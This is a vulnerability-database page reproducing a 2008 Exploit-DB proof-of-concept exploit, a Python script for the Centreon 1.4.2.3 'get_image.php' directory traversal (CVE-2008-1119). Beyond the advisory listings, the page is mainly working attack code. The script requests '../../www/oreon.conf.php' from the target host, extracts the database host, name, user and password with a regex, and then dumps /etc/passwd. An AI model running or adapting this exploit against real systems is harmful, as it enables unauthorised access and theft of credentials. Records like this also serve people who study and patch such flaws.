Lucene search
+L

Centreon 1.4.2.3 - 'get_image.php' Remote File Disclosure

🗓️ 28 Feb 2008 00:00:00Reported by Julien CAYSSOLType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Centreon 1.4.2.3 - 'get_image.php' Remote File Disclosure Jan 20, 200

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Centreon include/doc/get_image.php 'img' Parameter Traversal Arbitrary File Access
28 Feb 200800:00
nessus
cve
CVE
CVE-2008-1119
3 Mar 200822:00
cve
cvelist
Cvelist
CVE-2008-1119
3 Mar 200822:00
cvelist
euvd
EUVD
EUVD-2008-1128
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-1119
3 Mar 200822:44
nvd
prion
Prion
Directory traversal
3 Mar 200822:44
prion
prion
Prion
Directory traversal
6 Mar 200800:44
prion
#!/usr/bin/python

# Date : 20/01/2008
# Author : Julien CAYSSOL <[email protected]>

import sys, urllib2,re


user_agent =  'Mozilla/6.0 (compatible; MSIE 6.0; Windows NT)'
headers =  { 'User-Agent'  : user_agent ,
                                'Accept-Charset' : 'ISO-8859-15' }


if __name__ == "__main__":

    if len(sys.argv)==2:
        host = sys.argv[1]
        print " [+] Host : " + host

        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../www/oreon.conf.php"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        html = re.sub('\n','',html)
        ident =re.findall('\$conf_oreon\[\'host\'\] = "(.*?)";\$conf_oreon\[\'user\'\] = "(.*?)";\$conf_oreon\[\'password\'\] = "(.*?)";\$conf_oreon\[\'db\'\] = "(.*?)";',html)
        print " [*] Result :  "
        print " + DB Host : "+ident[0][0]
        print " + DB Name : "+ident[0][3]
        print " + DB user : "+ident[0][1]
        print " + DB pass : "+ident[0][2]

        print " [*] /etc/passwd for Fun"
        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../../../../etc/passwd"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        print html

    else:
        print "./Poc.py HOST"

# milw0rm.com [2008-02-28]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation